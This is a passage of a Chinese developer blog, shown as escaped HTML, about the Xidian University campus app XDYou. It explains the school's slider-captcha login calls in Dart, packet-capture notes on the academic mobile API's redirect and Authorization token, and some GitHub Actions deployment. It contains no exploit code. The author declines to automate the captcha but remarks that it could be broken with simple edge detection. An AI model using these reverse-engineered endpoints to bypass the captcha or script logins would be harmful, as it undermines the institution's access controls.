Dart 端先给字符串加个末尾的\u003ccode\u003e\\0\u003c/code\u003e,然后传原生。\u003c/p\u003e\n\u003ch4 id=\"关闭实例函数\"\u003e关闭实例函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003egint\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nf\"\u003eg_iconv_close\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eGIConv\u003c/span\u003e \u003cspan class=\"n\"\u003econverter\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e传入要关闭的转换器\u003ccode\u003econverter\u003c/code\u003e,-1 失败,0 成功。\u003c/p\u003e\n\u003ch2 id=\"应用内信息的分发机制\"\u003e应用内信息的分发机制\u003c/h2\u003e\n\u003cp\u003e(来自 v0.4.0 发行概要)\u003c/p\u003e\n\u003cp\u003e借鉴了\u003ca class=\"link\" href=\"https://github.com/xeonds/xdu-planet\" target=\"_blank\" rel=\"noopener\"\n \u003e这个项目\u003c/a\u003e。接下来,根据我的“服务器”和借鉴项目的 Github Action 配置文件,我给大家做一个大致的部署过程讲解。\u003c/p\u003e\n\u003ch3 id=\"借鉴项目的-action\"\u003e借鉴项目的 Action\u003c/h3\u003e\n\u003cp\u003eGo 版本的 XDU Planet,本质上就是 RSS 处理转 json,然后用 gin 开服务器端口。这个项目使用 Github Action 来每小时更新,然后更新成一个 json 文件,最后搞到 Github Page。\u003c/p\u003e\n\u003cp\u003e这个项目有三个分支:主代码,配置文件,部署分支。发布流程大致如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAction 环境初始化,获取代码(Checkout)。\u003c/li\u003e\n\u003cli\u003e对代码进行构建,对于这个项目,就是构建 go 代码和 vue 代码。\u003c/li\u003e\n\u003cli\u003e使用 go 生成的可执行文件,生成 json 文件。\u003c/li\u003e\n\u003cli\u003e上传生成的网页和 json 到部署分支,然后在部署分支的基础上部署 Github Action。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"我的通知服务器\"\u003e我的“通知服务器”\u003c/h3\u003e\n\u003cp\u003e可以看看\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda_backend\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。核心技术就是用 \u003ca class=\"link\" href=\"https://github.com/johnkerl/miller\" target=\"_blank\" rel=\"noopener\"\n \u003eMiller\u003c/a\u003e 来将 csv 转换成 json,然后用 Github Action 推到 Page 服务。同样的,这个项目有两个分支:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003emain 分支:存储 csv 文件和 Github Action 配置文件。\u003c/li\u003e\n\u003cli\u003edepoly 分支:存储需要通过 Github Page 发布的 json 文件。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e发布流程和上面的差不多:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAction 环境初始化,获取代码(Checkout)。\u003c/li\u003e\n\u003cli\u003e将 csv 转换为 json 文件。\u003c/li\u003e\n\u003cli\u003e上传 json 到部署分支,然后在 depoly 分支的基础上部署 Github Action。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于一点点-ios-开屏娘的事情\"\u003e关于一点点 iOS 开屏娘的事情\u003c/h2\u003e\n\u003cp\u003e(来自 v0.4.0 发行概要)\u003c/p\u003e\n\u003cp\u003e这个玩意主要用到了 XCode 的界面设计工具。长这样:\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/XDYou_XCode_LaunchImage.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/XDYou_XCode_LaunchImage.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003eApple Store 上架需要程序有个开屏图,我于是找个人画个漫画。画家顺便画个手绘板的图标,风格对应了。\u003c/p\u003e\n\u003cp\u003e这个玩意我当时搞了接近一个下午才搞成,大部分时间在摸索这玩意到底咋用,小部分时间在看各个手机屏幕大小情况下的排版状况。最终我摸索出这样的排版:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e上面人脸下面图标,在一个中轴线上。\u003c/li\u003e\n\u003cli\u003e人脸大小写死,因为我不知道如何动态调整图片大小:P 图标比例写死 1:1。\u003c/li\u003e\n\u003cli\u003e人脸中心在 Y 轴中心上面(减去) 80px 处,图标在 Y 轴下面(加上) 200 像素处。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"某滑块验证码\"\u003e某滑块验证码\u003c/h2\u003e\n\u003cp\u003e以下简要介绍本次学校升级的滑块验证码工作原理,默认传的都是用的一个 cookie 。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e此处略去如何加密密码,算法没变。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e文字验证码不再需要,学校前端不再判断需要输入验证码与否。\u003ccode\u003ehttps://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\u003c/code\u003e 不在需要。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e滑块验证码需要先传递这个:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003edio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ids.xidian.edu.cn/authserver/common/openSliderCaptcha.htl\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003equeryParameters:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;_\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003emillisecondsSinceEpoch\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e()},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col\u003e\n\u003cli\u003e然后进入滑验证码页面,传输数据:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// 往这个接口发送 get 请求,然后返回的数据是个 json ,有三个比较重要\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// 背景图是 bigImage,滑块图是 smallImage,tagWidth 我这里暂时没用到.png\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// 滑块图的高度和 bigImage 大致是相同的。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eprovider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003edio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ids.xidian.edu.cn/authserver/common/openSliderCaptcha.htl\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003equeryParameters:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;_\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003emillisecondsSinceEpoch\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e()},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eoptions:\u003c/span\u003e \u003cspan class=\"n\"\u003eOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eheaders:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Cookie\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecookie\u003c/span\u003e\u003cspan class=\"p\"\u003e}),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"kd\"\u003easync\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003eprovider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eSliderCaptchaClientProvider\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;bigImage\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;smallImage\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;tagWidth\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e()),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eprovider\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einit\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eprovider\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col\u003e\n\u003cli\u003e得到数据后,我程序的前端渲染一个滑块验证码窗口让用户滑,然后得到 offset。然后和写死的宽度给服务器传过去鉴权。成功的话退出滑块页面,进行登录,否则刷新滑块。如果用户未完成滑块就退出滑块页面会报错“动态验证码错误”。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003edio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epost\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ids.xidian.edu.cn/authserver/common/verifySliderCaptcha.htl\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edata:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;canvasLength=\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esnapshot\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epuzzleWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026amp;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;moveLength=\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_sliderValue\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003esnapshot\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epuzzleWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003etoInt\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eoptions:\u003c/span\u003e \u003cspan class=\"n\"\u003eOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eheaders:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Cookie\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecookie\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eHttpHeaders\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nl\"\u003econtentTypeHeader:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;application/x-www-form-urlencoded;charset=utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eHttpHeaders\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nl\"\u003eaccessControlAllowOriginHeader:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ids.xidian.edu.cn\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;errorCode\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// 涉及页面内异步,使用 mounted 判断是否异步完毕\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emounted\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"n\"\u003eupdateProvider\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e结束介绍,这破滑块验证码我还以为有啥高级的,结果就这?修这玩意最累的就是写这个滑块页,然后把我干感冒了。\u003c/p\u003e\n\u003cp\u003e顺便学校搞个文字验证码怕是比这个强吧,这个玩意随便一个 opencv 搞个亮度边缘检测估计就能破,都没必要让用户滑。文字验证码好歹还得文字识别,要真搞爬虫的话,也比这个难吧。不过 PDA 不打算实现自动化滑块验证码,因为这样总觉得有点黑产的感觉,或者说,“破坏计算机信息系统罪”?\u003c/p\u003e\n\u003cp\u003e顺便附上咱学校的滑块验证码用的\u003ca class=\"link\" href=\"https://gitee.com/LongbowEnterprise/SliderCaptcha\" target=\"_blank\" rel=\"noopener\"\n \u003e前端库源代码地址\u003c/a\u003e,这基本没改啊:-\\ 我对这个玩意真是无语了,修这玩意把我干感冒更是让我想骂街。所以我拉出了 Black Sabbath 的 Sabotage 专辑两首歌,\u003ca class=\"link\" href=\"https://music.163.com/#/song?id=16837102\" target=\"_blank\" rel=\"noopener\"\n \u003eSymptom Of The Universe\u003c/a\u003e 和 \u003ca class=\"link\" href=\"https://music.163.com/#/song?id=16837105\" target=\"_blank\" rel=\"noopener\"\n \u003eSupertzar\u003c/a\u003e 分别当作本版本 iOS 和 Android 的发行代号。\u003c/p\u003e\n\u003cp\u003e这两首歌的背景实际上也是种不满。Black Sabbath 乐队当时被乐队经理告上法庭,他们疲于为了法律问题奔命,根本没心情写歌。于是他们搞出来他们这一辈子最重的专辑。\u003c/p\u003e\n\u003ch2 id=\"教务移动端抓包记录\"\u003e教务移动端抓包记录\u003c/h2\u003e\n\u003cp\u003e一开始,为了提高 PDA 程序的稳定性,我决定在某些功能方面弃用 ehall ,这玩意半夜经常挂掉。所以,我打算使用我在学校小程序里面看到的教务新前端,兴许这玩意能稳定点,而且确实,在编程方面能简单些。但是后来我发现,这玩意挂掉的概率更高,所以我又改了回去,目前只有空闲教室使用了这个。\u003c/p\u003e\n\u003cp\u003e这个不适用于 v1.0.0 之后的版本。\u003c/p\u003e\n\u003ch3 id=\"如何登录\"\u003e如何登录\u003c/h3\u003e\n\u003cp\u003e在统一认证服务认证用户后,需要有个跳转地址,这个地址根据我的抓包,应该是这个:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ehttps://xxcapp.xidian.edu.cn/a_xidian/api/cas-login/indexredirect=https%3A%2F%2Fxxcapp.xidian.edu.cn%2Fuc%2Fapi%2Foauth%2Findex%3Fappid%3D200190304164516885%26redirect%3Dhttps%253A%252F%252Fehall.xidian.edu.cn%252Fjwmobile%252Fauth%252Findex%26state%3DSTATE%26qrcode%3D1\u0026amp;from=wap\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e他很长,很显然用到了其他的二级鉴权服务,但是我们不需要关心,在最开始跟着他 302 的 Location 跳转就好了。为啥是“在最开始”,因为跳转的 Location 里面有很重要的鉴权标志。\u003c/p\u003e\n\u003cp\u003e接下来的内容涉及到 Authorization 头,建议各位先看个\u003ca class=\"link\" href=\"https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Authorization\" target=\"_blank\" rel=\"noopener\"\n \u003e这玩意的介绍\u003c/a\u003e。我的程序中,有个双创招队伍展示的功能,那个的后端也是用的这玩意鉴权,而且显然比这玩意好写。\u003c/p\u003e\n\u003cp\u003e我上面提到了很多的 302 跳转,其中最重要的跳转是在 xxcapp 之后 get 的第一个 ehall ,那里面的 Location 充满了 token,那个 token 就是我们之后要用到的 Authorization token。\u003c/p\u003e\n\u003cp\u003e之后用功能的时候,需要在 Header 里面使用 Authorization,传过去这个 token 就行。\u003c/p\u003e\n\u003cp\u003e在使用一个服务的时候,根据抓包看出的规律,我们需要给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwmobile/biz/home/updateServiceUsage\" target=\"_blank\" rel=\"noopener\"\n \u003ehttps://ehall.xidian.edu.cn/jwmobile/biz/home/updateServiceUsage\u003c/a\u003e POST 一个 json 编码的数据,形式是 {\u0026ldquo;key\u0026rdquo;: 你要搞的服务}。\u003c/p\u003e\n\u003cp\u003e其中你要搞的服务有这些:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nt\"\u003e\u0026#34;data\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XK.MTXKSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;免听选课审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 